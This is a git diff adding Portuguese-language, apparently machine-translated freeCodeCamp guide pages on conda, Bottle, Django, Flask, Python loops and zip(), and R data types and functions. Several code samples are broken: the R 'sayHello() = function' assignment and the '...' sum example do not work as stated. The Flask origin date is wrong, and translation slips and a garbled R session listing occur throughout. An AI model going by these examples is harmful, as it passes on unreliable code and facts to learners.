+Para instalar o Conda, siga estas [instruções](https://conda.io/docs/user-guide/install/index.html) .
+
+### Crie um ambiente
+
+Para criar um ambiente virtual, use:
+```
+conda create --name my-env 
+```
+
+A Conda criará a pasta correspondente dentro do diretório de instalação do Conda.
+
+Você também pode especificar com qual versão do Python você quer trabalhar:
+```
+conda create --name my-env python=3.6 
+```
+
+### Listar Ambientes
+
+Você pode listar todos os ambientes disponíveis com:
+```
+conda info --envs 
+```
+
+### Ativar um ambiente
+
+Antes de começar a usar o ambiente, você precisa ativá-lo:
+```
+source activate my-env 
+```
+
+### Instalar pacotes
+
+O mesmo que com `virtualenv` .
+
+### Desativar um ambiente
+
+Se você terminar de trabalhar com o ambiente virtual, poderá desativá-lo com:
+```
+source deactivate 
+```
+
+### Remover um ambiente
+
+Se você quiser remover um ambiente do uso Conda:
+```
+conda remove --name my-env 
+```
+
+#### Mais Informações:
+
+*   [site oficial](https://virtualenv.pypa.io/en/stable/) `virtualenv`
+*   [Site oficial do](https://conda.io/docs/index.html) `Conda`
+*   `The Hitchhicker's Guide to Python` - [Pypenv e ambientes virtuais](http://docs.python-guide.org/en/latest/dev/virtualenvs/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
new file mode 100644
index 0000000000..67abf11e59
--- /dev/null
+++ b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
@@ -0,0 +1,89 @@
+---
+title: Bottle
+localeTitle: Garrafa
+---
+A estrutura da garrafa nos permite trabalhar de forma rápida e fácil com uma aplicação web básica.
+
+Os detalhes a seguir mostram como escrever e executar um simples aplicativo da Web de saudação, onde podemos inserir nosso nome em um formulário, enviar e receber uma saudação.
+
+1.  Use `pip` para instalar o pacote de garrafas.
+    
+    ```
+    pip install bottle 
+    
+    ```
+    
+2.  Crie um arquivo `html` para ser exibido ao carregar o site. Por exemplo, `index.html` .
+    
+    Vamos adicionar um título e um formulário básico a esta página.
+    
+    ```html
+    
+    <h3>Say Hello</h3> 
+     
+     <form action="/hello" method="get"> 
+     Name: 
+        <input type="text" name="name"><br><br> 
+        <input type="submit"> 
+     </form> 
+    
+    ```
+    
+3.  Crie um novo arquivo python, por exemplo, `main.py`
+    
+4.  Na primeira linha do arquivo, precisamos importar as funções get, request e run do módulo de garrafa.
+    
+    ```python
+    from bottle import get, request, run 
+    
+    ```
+    
+5.  Agora definimos nossa função para servir nosso arquivo html quando a página raiz é acessada.
+    
+    Aqui usamos o `@get` decorator, que especifica que essa função deve responder a solicitações `HTTP GET` e passar `'/'` como o caminho pelo qual a função será invocada.
+    
+    Em seguida, definimos a função `index()` usando a palavra-chave `def` .
+    
+    Para ler e retornar o arquivo html que criamos na etapa 2, usamos o que é chamado de gerenciador de contexto. Isso lida com abrir e fechar o arquivo para nós, permitindo-nos ler os arquivos e conteúdos e retorná-los com a declaração de `return` .
+    
+    ```python
+    @get('/') 
+     def index(): 
+        with open('./index.html') as f: 
+            return f.read() 
+    
+    ```
+    
+6.  Para fazer com que o site seja executado e escute as solicitações, precisamos adicionar uma chamada às funções de `run` do frasco da seguinte maneira.
+    
+    Aqui nós passamos no host em que o aplicativo da Web será executado, neste caso `localhost` , e a porta que deve escutar por solicitações HTTP.
+    
+7.  Execute o aplicativo e carregue-o no seu navegador http: // localhost: 8080 /, você deverá ver o arquivo html que criamos eariler renderizado no navegador.
+    
+    Se inserirmos nosso nome e pressionarmos enviar agora, receberemos um erro `HTTP 404` pois ainda não definimos a função para responder a essa solicitação.
+    
+    ```python
+    run(host='localhost', port=8080) 
+    
+    ```
+    
+8.  De volta ao nosso arquivo `main.py` , agora precisamos definir a função para responder ao digitar nosso formulário.
+    
+    Mais uma vez, usamos o `@get` decorator aqui, no entanto, desta vez, passamos em `'/.hello'` como o caminho. Você pode perceber que este é o mesmo caminho que definimos no atributo action de nosso formulário em `index.html` .
+    
+    Em seguida, recuperamos o valor do `name` da url, ao enviar o formulário, os dados do formulário são codificados em url, como este http: // localhost: 8080 / hello? Name = Jon + Snow
+    
+    Finalmente, retornamos nossa saudação, acrescentando o nome inserido em nosso formulário.
+    
+    ```python
+    @get('/hello') 
+     def hello(): 
+        name = request.query['name'] 
+        return f'Hello {name}' 
+    
+    ```
+    
+
+### Fontes
+
+https://bottlepy.org/docs/dev/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/django/index.md b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/django/index.md
new file mode 100644
index 0000000000..4b1f72289c
--- /dev/null
+++ b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/django/index.md
@@ -0,0 +1,21 @@
+---
+title: Django
+localeTitle: Django
+---
+## Visão geral:
+
+O Django é um framework Web Python de alto nível que incentiva o rápido desenvolvimento e o design limpo e pragmático. Construído por desenvolvedores experientes, ele cuida de grande parte do incômodo do desenvolvimento da Web, para que você possa se concentrar em escrever seu aplicativo sem precisar reinventar a roda. É grátis e de código aberto.
+
+Ridiculamente rápido. O Django foi projetado para ajudar os desenvolvedores a levar os aplicativos do conceito à conclusão o mais rápido possível.
+
+Totalmente carregado. O Django inclui dezenas de extras que você pode usar para lidar com tarefas comuns de desenvolvimento da Web. O Django cuida da autenticação do usuário, administração de conteúdo, mapas do site, feeds RSS e muitas outras tarefas - diretamente da caixa.
+
+Tranquilamente seguro. O Django leva a segurança a sério e ajuda os desenvolvedores a evitar muitos erros comuns de segurança, como injeção de SQL, script entre sites, falsificação de solicitações entre sites e clickjacking. Seu sistema de autenticação de usuários fornece uma maneira segura de gerenciar contas de usuários e senhas.
+
+Extremamente escalável. Alguns dos locais mais movimentados do planeta usam a capacidade do Django de escalar de forma rápida e flexível para atender às maiores demandas de tráfego.
+
+Incrivelmente versátil. Empresas, organizações e governos usaram o Django para construir todo tipo de coisas - de sistemas de gerenciamento de conteúdo a redes sociais e plataformas de computação científica.
+
+### Fontes
+
+https://www.djangoproject.com/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/index.md b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/index.md
new file mode 100644
index 0000000000..444bc7f0a3
--- /dev/null
+++ b/client/src/guide/portuguese/python/web-frameworks-and-what-they-do-for-you/index.md
@@ -0,0 +1,59 @@
+---
+title: Python Web Frameworks and What They Do 
+localeTitle: Frameworks Python Web e o que eles fazem
+---
+Nós usamos a palavra `framework` bastante liberalmente nos artigos anteriores. Você pode ou não estar familiarizado com o que é isso. No entanto, discutiremos o que o Python Web Frameworks faz por você, pronto para uso.
+
+Web Frameworks, para colocá-lo informalmente, faz por você o que estaria fazendo _repetidamente_ se você fosse construir muitos sites com diferentes funcionalidades.
+
+Vamos dar um exemplo extremamente grosseiro e tentar fazer uma analogia simples. Diga, você vai jantar e é um restaurante chique. Poderia ser qualquer tipo de restaurante - italiano, mexicano, indiano, coreano, pan-asiático.
+
+Tente pensar nas coisas comuns que acontecem em um restaurante quando um cliente entra. Um manobrista pode levar seu carro e validar o estacionamento. Você pode ser solicitado na recepção se você tivesse reserva; e quantos de seus amigos estão com você. Você provavelmente seria mostrado para a sua mesa, ou pediu para esperar - dependendo da multidão dentro.
+
+Uma vez sentado, você seria perguntado se você queria água normal ou engarrafada. Então alguém perguntaria se você prefere bebidas. Você pode pedir algumas entradas, seguidas pelo prato principal; e finalmente, alguma sobremesa. Você tem que pagar a conta.
+
+Eu entendo se você gostaria de ter um momento para fazer uma viagem pela estrada da memória, desfrutando de um delicioso toothsome. Quando estiver pronto, você precisa se colocar na posição da pessoa que está administrando o negócio.
+
+Se você notar, existem algumas atividades que você está fazendo repetidamente para cada cliente. E com base no tipo de restaurante e na hora do dia, há algumas coisas que seriam diferentes. Por exemplo, o menu e os preços dos alimentos.
+
+Diga, você está executando o negócio; Você também precisa lidar com outros aspectos deste negócio que um cliente seria alheio. Por exemplo; o salário da equipe, administrando livros, pagando aluguel e impostos sobre a propriedade, imprimindo novos cartões de menu etc.
+
+Você está se perguntando para onde esta conversa está indo. Acalme-se! Estamos voltando ao desenvolvimento da Web do Python o mais rápido possível.
+
+Um Web Framework faz essas atividades repetitivas para você - que você faria quando criava um aplicativo da Web usando apenas uma linguagem de programação e algumas bibliotecas de rede. Como o Gerenciamento de Solicitação, Roteamento de URL, Compilação de Template, Configuração de Contexto, Proteção CSRF, Registro em Log, Interação com Banco de Dados via ORM, Autenticação, Renderização de Resposta, etc.
+
+Você provavelmente está se perguntando o que, então, é deixado para o desenvolvedor fazer? Com base no aplicativo, você precisa usar as APIs de estrutura e gravar sua lógica específica do aplicativo.
+
+Seu código preencherá as lacunas deixadas _intencionalmente_ no código da estrutura - e combinará seu código com a estrutura; sua aplicação web teria a vida respirada!
+
+Dois dos frameworks web mais populares no Python são Django e Flask. O Django é provavelmente o framework Python mais usado por aí. O Django ajuda você a construir sites onde você está interagindo tanto com seu cliente (usuário) quanto com seu banco de dados, freqüentemente simultaneamente. O Flask é um micro-framework, que também pode fazer muitas das tarefas que o Django faz, mas usando extensões feitas pela comunidade. Outras estruturas que merecem destaque são os Pylons e o Tornado.
+
+### Django
+
+O Django (/ ˈdʒæŋɡoʊ / JANG-goh) é uma estrutura da Web gratuita e de código aberto, escrita em Python, que segue o padrão arquitetural model-view-template (MVT). Ele é mantido pela Django Software Foundation (DSF), uma organização independente estabelecida como uma organização sem fins lucrativos 501 (c) (3).
+
+O principal objetivo do Django é facilitar a criação de sites complexos, orientados a banco de dados. O Django enfatiza a capacidade de reutilização e "conectividade" dos componentes, o desenvolvimento rápido e o princípio de não se repetir. O Python é usado por toda parte, mesmo para arquivos de configurações e modelos de dados. O Django também fornece uma interface opcional de criação, leitura, atualização e exclusão administrativa que é gerada dinamicamente através de introspecção e configurada através de modelos de administração.
+
+Alguns sites bem conhecidos que usam o Django incluem o Public Broadcasting Service, o Instagram, o Mozilla, o Washington Times, o Disqus, o Bitbucket e o Nextdoor. Foi usado no Pinterest, mas depois o site mudou para um framework construído sobre o Flask.
+
+### Balão
+
+O Flask é um aplicativo da Web leve do WSGI e um micro-framework que é classificado como um microframework porque não requer ferramentas ou bibliotecas específicas. Ele foi projetado para tornar os primeiros passos rápidos e fáceis, com a capacidade de expandir para aplicativos complexos. No entanto, o Flask suporta extensões que podem adicionar recursos de aplicativos como se fossem implementados no próprio Flask. Existem extensões para mapeadores relacionais de objetos, validação de formulários, manipulação de uploads, várias tecnologias de autenticação abertas e várias ferramentas relacionadas a estruturas comuns. As extensões são atualizadas com muito mais regularidade do que o programa Flask principal. O Flask é comumente usado com o MongoDB (NOSQL DataBase), que permite mais controle sobre bancos de dados e histórico.
+
+Começou como um simples invólucro em torno de Werkzeug e Jinja e se tornou um dos mais populares frameworks de aplicações web em Python.
+
+O Flask oferece sugestões, mas não impõe nenhuma dependência ou layout do projeto. Cabe ao desenvolvedor escolher as ferramentas e bibliotecas que deseja usar. Existem muitas extensões fornecidas pela comunidade que facilitam a adição de novas funcionalidades.
+
+O frasco foi feito em 2004 por um grupo internacional de pitonistas chamado "Pocoo", como uma piada do primeiro de abril, que mais tarde foi transformada em uma coisa "real". Segundo a Wikpedia, foi o framework web Python mais usado no Github. É um micro-framework livre e de código aberto escrito em Python ( [veja no GitHub](https://github.com/freeCodeCamp/guide/tree/master/src/pages/javascript) ). Como os estados da Wikipedia,
+
+O frasco é classificado como um microframework porque não requer ferramentas ou bibliotecas específicas. Ele não possui uma camada de abstração de banco de dados, validação de formulário ou qualquer outro componente em que as bibliotecas de terceiros pré-existentes forneçam funções comuns.
+
+O Flask é muito mais uma estrutura de 'baterias não incluídas', comparado a algo como o Django. Isso significa que você precisa instalar módulos como autenticação de usuário, formulários e outras coisas. Não é para dizer que o Flask não é feito para essas coisas, simplesmente que elas não estão incluídas e esses módulos são feitos pela comunidade. O Flask também possui extensa documentação detalhada disponível em http://flask.pocoo.org/docs/. Ele fornece simplicidade e mais controle sobre coisas menores. Você não terá funcionalidades que não estão sendo usadas, pois você pode escolher o que é adicionado e o que não é.
+
+Sites que usam Flask incluem Pinterest! (que mudou do Django), as API's privadas do Twilio (elas até criaram uma extensão chamada Flask-RESTful para API's), e o Netflix (que usa o ScriptFlask, uma ferramenta baseada no Flask)
+
+### Garrafa
+
+O Bottle é um micro-framework do Python que permite que os usuários se instalem e executem rapidamente com um aplicativo da Web em Python. É muito mais leve do que algo mais completo, como o Django, e não tem dependências de terceiros contando apenas com a biblioteca padrão do Python.
+
+Isso o torna perfeito para pequenas aplicações web, onde alguns dos recursos mais avançados do Django, como autenticação, ou acesso ao banco de dados não seriam necessários.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/what-is-python-used-for/index.md b/client/src/guide/portuguese/python/what-is-python-used-for/index.md
new file mode 100644
index 0000000000..29a67b4fa3
--- /dev/null
+++ b/client/src/guide/portuguese/python/what-is-python-used-for/index.md
@@ -0,0 +1,82 @@
+---
+title: What Is Python Used for
+localeTitle: O que é o Python usado para
+---
+## O que é o Python usado para
+
+O Python pode ser facilmente usado para projetos pequenos, grandes, on-line e off-line. As melhores opções para utilizar Python são desenvolvimento web, scripts simples e análise de dados. Abaixo estão alguns exemplos do que o Python permitirá que você faça:
+
+##### Desenvolvimento web:
+
+Você pode usar o Python para criar aplicativos da Web em muitos níveis de complexidade. Há muitos excelentes frameworks web em Python, incluindo Pyramid, Django e Flask, para nomear um pouco.
+
+##### Análise de dados:
+
+Python é a principal linguagem de escolha para muitos cientistas de dados. Python cresceu em popularidade dentro do campo devido à disponibilidade de muitas excelentes bibliotecas focado em ciência de dados (dos quais NumPy e Pandas são dois dos mais conhecidos) e visualização de dados (como Matplotlib e Seaborn). Pyton realmente fez trituração de dados Divertir-se com todas as suas inúmeras bibliotecas disponíveis. O Ipython com JupyterLab é outra forma de Python que melhora o uso do Python no campo da ciência de dados.
+
+##### Automação:
+
+O Python é uma linguagem muito flexível que pode ser usada para automatizar tarefas chatas ou repetitivas. Os administradores do sistema costumam usá-lo escrevendo scripts que podem ser facilmente executado a partir do terminal. O Python também pode ser usado para criar bots que automatizam algumas de nossas tarefas diárias.
+
+##### Inteligência artificial:
+
+O Python também é usado extensivamente no crescente campo da Inteligência Artificial (AI). O Google selecionou o Python para ser uma das primeiras linguagens de programação bem suportadas para treinamento e interação com modelos usando o Tensorflow.
+
+#### Desenvolvimento de aplicativos para dispositivos móveis
+
+Aplicativos móveis e jogos podem ser criados com python usando Kivy, Pygame e PyQt.
+
+#### Segurança e Rede:
+
+O Python é usado para construir ferramentas de rede e ferramentas de segurança que são amplamente usadas. A automação remota do Python é a mais segura, rápida e eficiente para testes em nuvem de frameworks, é por isso que os desenvolvedores profissionais usam o python para criar as estruturas mais seguras e para as programações de soquete.
+
+##### Aprendizado de Máquina, Aprendizado Profundo
+
+O Python é uma das melhores linguagens adequadas para aprendizado de máquina, aprendizado profundo e análise de dados com uma fortaleza em todos eles.
+
+Existem linguagens especializadas mais adequadas para várias funções, como R e MATLAB, mas quando se trata de campos sobrepostos de aplicativos, o python ganha mãos para baixo devido a sua flexibilidade e prototipagem rápida e disponibilidade de bibliotecas.
+
+#### Desenvolvimento de Bots de Telegramas
+
+Você pode usar o Python e algumas bibliotecas Python para desenvolver seus próprios [Bots de Telegramas](https://core.telegram.org/bots)
+
+#### Coleta de dados por rastreamento e raspagem
+
+O Python também pode ser usado pelos códigos-fonte das páginas de análise e recuperar seus dados. Usando alguns módulos python, tais como: Scrapy e também (por alguns motivos e páginas que usa javascript) Selenium, deve fazer o truque!
+
+#### Mais Informações:
+
+Aqui está um [link](https://www.python.org/about/apps/) para uma seção do site oficial do Python descrevendo seus vários aplicativos.
+
+#### Python é geralmente usado para
+
+*   Desenvolvimento Web e Internet
+*   Avanço Educacional
+*   Estudos Científicos / Computação
+*   Desenvolvimento de desktop
+*   Computação Numérica
+*   Desenvolvimento de software
+*   Desenvolvimento de Aplicativos Corporativos
+*   Aprendizado de Máquina
+*   IOT
+*   Desenvolvimento de jogos
+*   Prototipagem Rápida
+*   Automação do Navegador
+*   Análise de dados
+*   Raspando dados de sites
+*   Processamento de imagem
+
+## Por que o Python tem uma gama tão ampla de uso?
+
+*   Python tem muitos pacotes para trabalhar, alguns variando de pesquisa aeroespacial para matemática. \* Em segundo lugar, por escolher fazer parte da comunidade de código aberto. Sim! Python é de código aberto.
+*   Por sua sintaxe simples e elegante. \* Existem muitas funções internas por causa de quais códigos Python são pequenos em comparação com outros códigos que são mesmos no contexto, mas escritos em linguagem diferente.
+*   O Python também suporta moda de programação orientada a objetos. Assim, essas coisas aumentam a popularidade do Python em várias comunidades.
+
+#### Alguns artigos cobrindo a usabilidade do python
+
+*   [10 principais usos do Python](http://www.dummies.com/programming/python/10-major-uses-of-python/)
+*   [Aplicativos para Python](https://www.python.org/about/apps/)
+*   [Onde a linguagem Python é usada?](https://stackoverflow.com/questions/3043085/where-is-python-language-used)
+*   [O que é usado para o Python?](https://stackoverflow.com/questions/1909512/what-is-python-used-for)
+
+O índice oficial de pacotes para python está [aqui](https://pypi.python.org/pypi) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/while-loop-statements/index.md b/client/src/guide/portuguese/python/while-loop-statements/index.md
new file mode 100644
index 0000000000..6587eda953
--- /dev/null
+++ b/client/src/guide/portuguese/python/while-loop-statements/index.md
@@ -0,0 +1,54 @@
+---
+title: While Loop Statements
+localeTitle: While Loop Statements
+---
+## While Loop Statements
+
+Python utiliza o `while` loop de forma semelhante a outras linguagens populares. A `while` ciclo avalia uma condição, em seguida, executa um bloco de código se a condição é verdadeira. O bloco de código é executado repetidamente até que a condição se torne falsa.
+
+A sintaxe básica é:
+
+```python
+counter = 0 
+ while counter < 10: 
+   # Execute the block of code here as 
+   # long as counter is less than 10 
+```
+
+Um exemplo é mostrado abaixo:
+
+```python
+days = 0 
+ week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'] 
+ while days < 7: 
+   print("Today is " + week[days]) 
+   days += 1 
+```
+
+Saída:
+```
+Today is Monday 
+ Today is Tuesday 
+ Today is Wednesday 
+ Today is Thursday 
+ Today is Friday 
+ Today is Saturday 
+ Today is Sunday 
+```
+
+Explicação linha-a-linha do CÓDIGO acima:
+
+1.  a variável 'dias' é definida como um valor 0.
+2.  uma semana variável é atribuída a uma lista que contém todos os dias da semana.
+3.  enquanto loop inicia
+4.  o bloco de código será executado até que a condição retorne 'true'.
+5.  a condição é 'dias <7', que rougly diz executar o loop while até o ponto que a variável days é menor que 7
+6.  Então, quando os dias = 7, o loop while pára a execução.
+7.  a variável dias é atualizada em cada iteração.
+8.  Quando o loop while é executado pela primeira vez, a linha 'Today is Monday' é impressa no console e a variável days se torna igual a 1.
+9.  Como a variável days é igual a 1, que é menor que 7, o loop while é executado novamente.
+10.  Ele continua de novo e de novo e, quando o console imprime "Hoje é domingo", a variável days é agora igual a 7 e o loop while pára a execução.
+
+#### Mais Informações:
+
+*   [Python `while` documentação de declaração](https://docs.python.org/3/reference/compound_stmts.html#the-while-statement)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/zip-function/index.md b/client/src/guide/portuguese/python/zip-function/index.md
new file mode 100644
index 0000000000..43d14015d1
--- /dev/null
+++ b/client/src/guide/portuguese/python/zip-function/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Zip Function
+localeTitle: Função Zip Python
+---
+`zip()` é uma função embutida no Python que retorna uma lista de tuplas. A enésima tupla terá o enésimo elemento de cada um dos argumentos iteráveis. Se os argumentos na seqüência forem de comprimentos desiguais, ele retornará uma lista truncada para o tamanho do menor iterável.
+
+## Argumento
+
+Qualquer número de iteráveis ​​separados por vírgula.
+
+## Valor de retorno
+
+Uma lista de tupla do enésimo elemento de todas as seqüências
+
+## Amostra de código
+```
+nums = [1,2,3,4] 
+ print(*nums) # prints 1 2 3 4 
+ numsAndNames = zip([1,2,3],['one','two','three']) 
+ print(*numsAndNames) # prints (1,'one') (2,'two') (3,'three') 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/@StuffsExplained/pythonZipFunction)
+
+[Documentos oficiais - Python 3](https://docs.python.org/3.3/library/functions.html#zip)
+
+[Documentos oficiais - Python 2.7](https://docs.python.org/2/library/functions.html#zip)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/r/data-types/index.md b/client/src/guide/portuguese/r/data-types/index.md
new file mode 100644
index 0000000000..c0b581e2bb
--- /dev/null
+++ b/client/src/guide/portuguese/r/data-types/index.md
@@ -0,0 +1,79 @@
+---
+title: Data Types in R
+localeTitle: Tipos de dados em R
+--- ## Escalas
+
+Escalar refere-se a uma quantidade atômica que pode conter apenas um valor por vez. Escalares são os tipos de dados mais básicos. Alguns tipos comuns de escalares:
+
+1.  Número
+    
+    > x <- 5 y <- 5,5 classe (x) \[1\] "numérico" classe (y) \[1\] "numérico" classe (x + y) \[1\] "numérico"
+    
+2.  Valor lógico
+    
+    > m <- x> y # Usado para verificar, é x maior que y? n <- x <y # Usado para verificar, Is x é menor que y? m \[1\] FALSE n \[1\] VERDADEIRO classe (m) \[1\] "lógico" classe (NA) # NA é outro valor lógico: 'Not Available' / Missing Values \[1\] "lógico"
+    
+3.  Cadeia de caracteres)
+    
+    > um <- "1"; b <- "2,5" a; b \[1\] "1" \[1\] "2,5" a + b Erro em um argumento + b: não numérico para operador binário classe A) \[1\] "personagem" class (como.numeric (a)) \[1\] "numérico" classe (como.character (x)) \[1\] "personagem"
+    
+
+## Vetor
+
+É uma sequência de elementos de dados do mesmo tipo básico. Por exemplo:
+```
+> o <- c(1,2,5.3,6,-2,4)                                 # Numeric vector 
+ > p <- c("one","two","three","four","five","six")        # Character vector 
+ > q <- c(TRUE,TRUE,FALSE,TRUE,FALSE,TRUE)                # Logical vector 
+ > o;p;q 
+ [1]  1.0  2.0  5.3  6.0 -2.0  4.0 
+ [1] "one"   "two"   "three" "four"  "five"  "six" 
+ [1]  TRUE  TRUE FALSE  TRUE FALSE 
+```
+
+## Matriz
+
+É um conjunto de dados retangular bidimensional. Os componentes em uma matriz também devem ser do mesmo tipo básico, como vetor. Por exemplo:
+```
+> m = matrix( c('a','a','b','c','b','a'), nrow = 2, ncol = 3, byrow = TRUE) 
+ > m 
+ >[,1] [,2] [,3] 
+ [1,] "a"  "a"  "b" 
+ [2,] "c"  "b"  "a" 
+```
+
+## Quadro de dados
+
+É mais geral que uma matriz, pois colunas diferentes podem ter diferentes tipos de dados básicos. Por exemplo:
+```
+> d <- c(1,2,3,4) 
+ > e <- c("red", "white", "red", NA) 
+ > f <- c(TRUE,TRUE,TRUE,FALSE) 
+ > mydata <- data.frame(d,e,f) 
+ > names(mydata) <- c("ID","Color","Passed") 
+ > mydata 
+ 
+   ID Color Passed 
+ 1  1   red   TRUE 
+ 2  2 white   TRUE 
+ 3  3   red   TRUE 
+ 4  4  <NA>  FALSE 
+```
+
+## Listas
+
+É um objeto-R que pode conter muitos tipos diferentes de elementos dentro dele, como vetores, funções e até mesmo outra lista dentro dele. Por exemplo:
+```
+> list1 <- list(c(2,5,3),21.3,sin) 
+ > list1 
+ [[1]] 
+ [1] 2 5 3 
+ [[2]] 
+ [1] 21.3 
+ [[3]] 
+ function (x)  .Primitive("sin") 
+```
+
+## Referência:
+
+[Documentos oficiais](https://cran.r-project.org/manuals.html) [Tipos de dados em R por r-bloggers](https://www.r-bloggers.com/classes-and-objects-in-r/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/r/functions/index.md b/client/src/guide/portuguese/r/functions/index.md
new file mode 100644
index 0000000000..0fb36de6c9
--- /dev/null
+++ b/client/src/guide/portuguese/r/functions/index.md
@@ -0,0 +1,179 @@
+---
+title: Functions in R
+localeTitle: Funções em R
+---
+Uma função permite que você defina um bloco de código reutilizável que pode ser executado muitas vezes em seu programa.
+
+Funções podem ser nomeadas e chamadas repetidamente ou podem ser executadas anonimamente (similar às funções lambda em python).
+
+Desenvolver a compreensão total das funções R requer compreensão dos ambientes. Ambientes são simplesmente uma maneira de gerenciar objetos. Um exemplo de ambientes em ação é que você pode usar uma variável redundante nome dentro de uma função, que não será afetado se o tempo de execução maior já tiver a mesma variável. Além disso, se um função chama uma variável não definida dentro da função que irá verificar o ambiente de nível superior para essa variável.
+
+### Sintaxe
+
+Em R, uma definição de função possui os seguintes recursos:
+
+1.  A `function` palavra-chave
+2.  um nome de função
+3.  parâmetros de entrada (opcional)
+4.  algum bloco de código para executar
+5.  uma declaração de retorno (opcional)
+
+```{r}
+# a function with no parameters or returned values 
+ sayHello() = function(){ 
+  "Hello!" 
+ } 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ helloWithName = function(name){ 
+  paste0("Hello, ", name, "!") 
+ } 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello, Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ multiply = function(val1, val2){ 
+  val1 * val2 
+ } 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+```
+
+Funções são blocos de código que podem ser reutilizados simplesmente chamando a função. Isso permite a reutilização de código simples e elegante sem reescrever explicitamente seções de código. Isso torna o código mais legível, facilita a depuração e limita os erros de digitação.
+
+As funções em R são criadas usando a palavra-chave `function` , juntamente com um nome de função e parâmetros de função dentro de parênteses.
+
+A função `return()` pode ser usada pela função para retornar um valor e é normalmente usada para forçar o encerramento antecipado de uma função com um valor retornado. Alternativamente, a função retornará o valor final impresso.
+
+```{r}
+# return a value explicitly or simply by printing 
+ sum = function(a, b){ 
+  c = a + b 
+  return(c) 
+ } 
+ 
+ sum = function(a, b){ 
+  a + b 
+ } 
+ 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+```
+
+Você também pode definir valores padrão para os parâmetros, que R usará quando uma variável não for especificada durante a chamada de função.
+
+```{r}
+sum = function(a, b = 3){ 
+  a + b 
+ } 
+ 
+ result = sum(a = 1) 
+ # result = 4 
+```
+
+Você também pode passar os parâmetros na ordem desejada, usando o nome do parâmetro.
+
+```{r}
+result = sum(b=2, a=2) 
+ # result = 4 
+```
+
+R também pode aceitar parâmetros adicionais opcionais com '…'
+
+```{r}
+sum = function(a, b, ...){ 
+  a + b + ... 
+ } 
+ 
+ sum(1, 2, 3) #returns 6 
+```
+
+Funções também podem ser executadas anonimamente. Estes são muito úteis em combinação com a família de funções 'apply'.
+
+```{r}
+# loop through 1, 2, 3 - add 1 to each 
+ sapply(1:3, 
+       function(i){ 
+         i + 1 
+         }) 
+```
+
+### Notas
+
+*   Se uma definição de função incluir argumentos sem valores padrão especificados, os valores desses valores deverão ser incluídos.
+    
+    ```{r}
+    sum = function(a, b = 3){ 
+     a + b 
+     } 
+     
+     sum(b = 2) # Error in sum(b = 2) : argument "a" is missing, with no default 
+    
+    ```
+    
+*   Variáveis ​​definidas dentro de uma função só existem dentro do escopo dessa função, mas irão verificar o ambiente maior se a variável não for especificada
+    
+    ```{r}
+    double = function(a){ 
+     a * 2 
+     } 
+     
+     double(x)  # Error in double(x) : object 'x' not found 
+     
+     
+     double = function(){ 
+     a * 2 
+     } 
+     
+     a = 3 
+     double() # 6 
+    
+    ```
+    
+
+## Funções embutidas em R
+
+*   R vem com muitas funções que você pode usar para fazer tarefas sofisticadas, como aleatório amostragem.
+    
+*   Por exemplo, você pode arredondar um número com a `round()` ou calcular seu fatorial com o `factorial()` .
+    
+
+```r
+> round(4.147) 
+ [1] 4 
+ > factorial(3) 
+ [1] 6 
+ > round(mean(1:6)) 
+ [1] 4 
+```
+
+*   Os dados que você passa para a função são chamados de argumento da função.
+    
+*   Você pode simular um roll do dado com a função `sample()` R. A função `sample()` recebe dois argumentos: um vetor chamado x e um número chamado size. Por exemplo:
+    
+
+```r
+> sample(x = 1:4, size = 2) 
+ [] 4 2 
+ > sample(x = die, size = 1) 
+ [] 3 
+ >dice <- sample(die, size = 2, replace = TRUE) 
+ >dice 
+ [1] 2 4 
+ >sum(dice) 
+ [1] 6 
+```
+
+*   Se não tiver certeza de quais nomes usar com uma função, você pode procurar a função argumentos com args.
+
+```r
+> args(round) 
+ [1] function(x, digits=0) 
+```
+
+## Recursos
+
+[Documentos oficiais](https://cran.r-project.org/manuals.html) [Quick-R](https://www.statmethods.net/management/functions.html) [CRAN](https://cran.r-project.org/doc/manuals/r-release/R-lang.html#Functions) [R avançado: funções](http://adv-r.had.co.nz/Functions.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/r/index.md b/client/src/guide/portuguese/r/index.md
new file mode 100644
index 0000000000..521252b51b
--- /dev/null
+++ b/client/src/guide/portuguese/r/index.md
@@ -0,0 +1,43 @@
+---
+title: R
+localeTitle: R
+---
+## O que é R?
+
+R é uma linguagem de programação de código aberto e ambiente de software para computação estatística e gráficos. É uma das principais línguas usadas por cientistas de dados e estatísticos. Ele é suportado pela Fundação R para Computação Estatística e por uma grande comunidade de desenvolvedores de software livre. Como o R utilizou uma interface de linha de comando, pode haver uma curva de aprendizado íngreme para alguns indivíduos acostumados a usar programas focados em GUI, como o SPSS e o SAS, de modo que as extensões R, como o RStudio, podem ser altamente benéficas. Como R é um programa de código aberto e está disponível gratuitamente, pode haver uma grande atração para acadêmicos cujo acesso a programas estatísticos é regulado por meio de sua associação a várias faculdades ou universidades.
+
+## Instalações
+
+A primeira coisa que você precisa para começar com R é baixá-lo de seu [site oficial de](https://www.r-project.org/) acordo com o seu sistema operacional. Agora instale-o no seu computador. Para ajuda na instalação, consulte a seção de referência abaixo.
+
